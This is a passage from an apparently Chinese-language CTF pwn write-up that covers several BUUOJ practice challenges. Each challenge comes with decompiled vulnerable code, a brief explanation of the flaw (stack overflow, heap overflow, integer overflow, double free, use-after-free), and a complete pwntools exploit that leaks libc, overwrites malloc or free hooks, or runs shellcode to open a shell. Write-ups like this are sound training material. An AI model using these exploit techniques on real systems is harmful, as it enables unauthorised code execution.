(index)) r.sendlineafter('Where you want to update?' , str (offset)) r.sendafter('Input Content:' , content) dbgg() add(1 , 'a\n' ) add(2 , 'a' * 8 + '\n' ) for i in range (0x11 ): add(2 , 'a\n' ) p1 = b'a' * 0x10 + p64(0 ) + p64(0x441 ) + b'\n' edit(1 , 0x80000000 , p1) delete(1 ) add(2 , 'a\n' ) show(2 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = ' + hex (free_hook)) one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base add(2 , 'a\n' ) delete(2 ) edit(20 , 0 , p64(free_hook) + b'\n' ) add(2 , 'a\n' ) add(2 , p64(one_gadget) + b'\n' ) delete(8 ) r.interactive()
ycb_2020_mipspwn 一个栈溢出
1 2 3 4 5 6 ssize_t vul() { char v1[56 ]; // [sp+18h] [+18h] BYREF return read(0 , v1, 0xB0u); }
可以写shellcode,但是需要栈迁移
1 2 3 4 5 6 7 .text:00400F50 B0 00 06 24 li $a2, 0xB0 # nbytes .text:00400F54 18 00 C2 27 addiu $v0, $fp, 0x50+var_38 .text:00400F58 25 28 40 00 move $a1, $v0 # buf .text:00400F5C 25 20 00 00 move $a0, $zero # fd .text:00400F60 5C 80 82 8F la $v0, read .text:00400F64 25 C8 40 00 move $t9, $v0 .text:00400F68 09 F8 20 03 jalr $t9 ; read
利用这个汇编继续读shellcode到固定地址上,然后跳转执行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='mips' , os='linux' , log_level='debug' ) file_name = './pwn2' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27878 ) else : r = process(['qemu-mipsel-static' , '-L' , '.' , '-g' , '1234' , file_name]) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'Your choice: ' dbgg() r.sendlineafter('Warrior,leave your name here:\n' , 'z1r0' ) r.sendlineafter(menu, '7' ) p1 = b'a' * (60 - 4 ) + p32(0x41164C + 0x50 ) + p32(0x400F50 ) r.sendlineafter('Write down your feeling:\n' , p1) shellcode = b'\x11\x01\x06\x24\xff\xff\xd0\x04\x00\x00\x06\x24\xe0\xff\xbd\x27\x14\x00\xe4\x27\x00\x00\x05\x24\xab\x0f\x02\x24\x0c\x00\x00\x00/bin/sh' p2 = b'a' * 0x3c + p32(0x41164c + 0x50 + 0x58 ) + shellcode r.send(p2) r.interactive()
n1ctf2018_null 这题属实是没有做出来,看了一下wp才知道昨做
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 size_t __fastcall sub_400BCA (char *ptr, size_t size) { size_t result; int len; size_t i; for ( i = 0LL ; ; i += len ) { result = i; if ( i >= size ) break ; len = read(0 , &ptr[i], size); if ( len <= 0 ) { write(1 , "I/O error\n" , 0xA uLL); my_exit(1u ); } } return result; }
漏洞点如上,二次read的时候size不变,此时可以堆溢出,但是堆在heap的下面,libc的上面
这个时候有一个叫thread_arena
的东西,如果可以覆盖thread_arena
这个地方就可以实现任意地址写,但是thread_arena
在malloc之后read输入数据的上面,所以需要利用sysmalloc把空间消耗掉,此时thread_arena
又会申请出来,在另一个mmap的空间中,而且,我们可以通过最后一个消耗输入的数据实现堆溢出,打新申请出的thread_arena
的结构,然后把system给放到bss的指针上,这个时候再add时候就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './null' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 26834 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'Action: ' def add (size, blocks, content = '' ): r.sendlineafter(menu, '1' ) r.sendlineafter('Size: ' , str (size)) r.sendlineafter('Pad blocks: ' , str (blocks)) if content: r.sendlineafter('Content? (0/1): ' , '1' ) r.sendafter('Input: ' , content) else : r.sendlineafter('Content? (0/1): ' , '0' ) dbgg() r.sendlineafter('Enter secret password: ' , "i'm ready for challenge" ) for i in range (12 ): add(0x4000 , 1000 ) add(0x4000 , 262 , 'a' * 0x3FF0 ) p1 = b'a' * 0x50 + p32(0 ) + p32(3 ) + p64(0x60201d ) * 0x10 r.send(p1) system_plt = elf.plt['system' ] p2 = b'/bin/sh\x00' .ljust(0xb , b'\x00' ) + p64(system_plt) p2 = p2.ljust(0x60 , b'a' ) add(0x60 , 0 , p2) r.interactive()
hitcon_2018_hackergame_2018_calc 1 2 3 4 5 6 7 8 9 unsigned int _init(){ signal(4 , (__sighandler_t )_err); signal(6 , (__sighandler_t )_err); signal(8 , (__sighandler_t )_err); signal(11 , (__sighandler_t )_err); signal(14 , (__sighandler_t )&exit ); return alarm(5u ); }
注册了异常处理
1 2 3 4 5 6 7 8 9 10 11 12 void __noreturn _err(){ char haystack[11 ]; puts ("Program crashed! You can run a program to examine:" ); __isoc99_scanf("%10s" , haystack); if ( strstr (haystack, "sh" ) ) puts ("command not allowed!" ); else execlp(haystack, haystack, 0LL ); exit (-1 ); }
如果发生了异常处理,就可以执行一个命令,下面的个/,但是减去了除0数学错误
1 2 3 4 5 6 7 8 9 if ( v3 == 47 ) { if ( v4 ) { v6 = (int )v5 / (int )v4; goto LABEL_18; } puts ("Division by zero!" ); }
程序主体是运算,而-0x80000000/-1
也可以触发异常,然后可以执行一个命令,但是不能包含sh,所以这里用vim开sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './HITCON_2018_Hackergame_2018_calc' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28919 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() r.sendlineafter('>>> ' , '-2147483648/-1' ) r.sendline('vim' ) r.sendline(':!sh' ) r.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall add (const char *a1) { size_t size; char buf[64 ]; size = 0LL ; puts ("Forging..." ); puts ("What's the size of this sword's name?" ); __isoc99_scanf("%d" , &size); if ( (int )size > 63 ) return puts ("The name is too long!" ); puts ("And the name is?" ); read(0 , buf, size); return puts ("Here you are, the new sword!\n" ); }
整形溢出,打ret到后门即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './metasequoia_2020_blacksmith' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29279 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'Your choice > ' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter("What's the size of this sword's name?" , str (size)) r.sendafter('And the name is?' , content) bd = 0x04007D6 p1 = b'a' * (0x40 + 8 ) + p64(bd) add(-1 , p1) r.interactive()
huxiangbei_2019_namesystem 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void __fastcall show () { unsigned int index; printf ("The id you want to delete:" ); index = read_input(); if ( index <= 0x13 && heap_ptr[index] ) { free (heap_ptr[index]); heap_ptr[index] = 0LL ; while ( (index + 1 ) <= 19 ) { heap_ptr[index] = heap_ptr[index + 1 ]; ++index; } puts ("Done!" ); } else { puts ("Invalid id !!" ); } }
当index为18时,19不会被覆盖,可以double free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './huxiangbei_2019_namesystem' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29398 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = b'Your choice :\n' def add (size, name ): r.sendlineafter(menu, b'1' ) r.sendlineafter(b'Name Size:' , str (size)) r.sendafter(b'Name:' , name) def delete (index ): r.sendlineafter(menu, b'3' ) r.sendlineafter(b'The id you want to delete:' , str (index)) dbgg() for i in range (17 ): add(0x10 , 'a' * 0x10 ) add(0x50 , 'b' * 0x50 ) add(0x60 , 'c' * 0x60 ) add(0x50 , 'b' * 0x50 ) delete(18 ) delete(19 ) delete(17 ) delete(17 ) add(0x60 , 'a' *0x60 ) add(0x60 , 'b' *0x60 ) add(0x60 , 'c' *0x60 ) delete(18 ) delete(19 ) delete(17 ) delete(17 ) fake = 0x601ffa for i in range (9 ): delete(i) add(0x50 , p64(fake) + b'\n' ) add(0x50 , 'a' * 0x50 ) add(0x50 , 'a' * 0x50 ) printf_plt = elf.plt['printf' ] p1 = b'\x00' * 0xE + p64(printf_plt)[0 :6 ] + b'\n' add(0x50 , p1) add(0x20 , '%13$p\n' ) delete(12 ) r.recvuntil('0x' ) leak_addr = int (r.recv(12 ), 16 ) - 240 li('leak_addr = ' + hex (leak_addr)) libc = ELF('./libc-2.23.so' ) libc_base = leak_addr - libc.sym['__libc_start_main' ] li('libc_base = ' + hex (libc_base)) one = [0x45226 , 0x4526a , 0xf03a4 , 0xf1247 , 0xcd173 , 0xcd248 , 0xf03a4 , 0xf03b0 , 0xf67f0 ] one_gadget = libc_base + one[1 ] malloc_hook = libc_base + libc.sym['__malloc_hook' ] add(0x60 , p64(malloc_hook - 0x23 ) + b'\n' ) add(0x60 , b'a' * 0x60 ) add(0x60 , b'a' * 0x60 ) realloc_addr = libc_base + libc.sym['realloc' ] p2 = b'\x00' * 0xb + p64(one_gadget) + p64(realloc_addr + 0x10 )+ b'\n' add(0x60 , p2) r.sendlineafter('Your choice :' ,'1' ) r.sendlineafter('Name Size:' ,'50' ) r.interactive()
rootersctf_2019_heaaaappppp 1 2 3 4 5 6 void deleteUser () { if ( !heap_ptr ) bye(); free (heap_ptr); }
1 2 3 4 5 6 7 8 9 10 11 12 13 void __fastcall sendMessage () { char buf[136 ]; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("Enter message to be sent: " ); read(0 , buf, 0x7F uLL); puts ("Message recieved: " ); puts (buf); puts ("\nSaving it for admin to see!\n" ); message = (__int64)strdup(buf); }
uaf,可以通过sendMessage来leak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './rootersctf_2019_heaaaappppp' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29737 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = b'Enter your choice: ' def add (payload ): r.sendlineafter(menu, '0' ) r.sendlineafter("user: " ,'0' ) r.sendafter("username: " ,payload) def edit (payload ): r.sendlineafter(menu,'1' ) r.sendlineafter("user: " ,'0' ) r.sendafter("username: " ,payload) def delete (): r.sendlineafter(menu,'2' ) def sendMessage (payload ): r.sendlineafter(menu,'3' ) r.sendafter("sent: \n" ,payload) r.sendlineafter(menu, '3' ) r.sendafter('Enter message to be sent: ' , b'a' * 0x68 ) leak_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = leak_addr - libc.sym['puts' ] - 418 li('libc_base = ' + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = libc_base + one[1 ] add('a' ) delete() delete() sendMessage(p64(free_hook)) add(p64(one_gadget)) sendMessage(p64(one_gadget)) delete() r.interactive()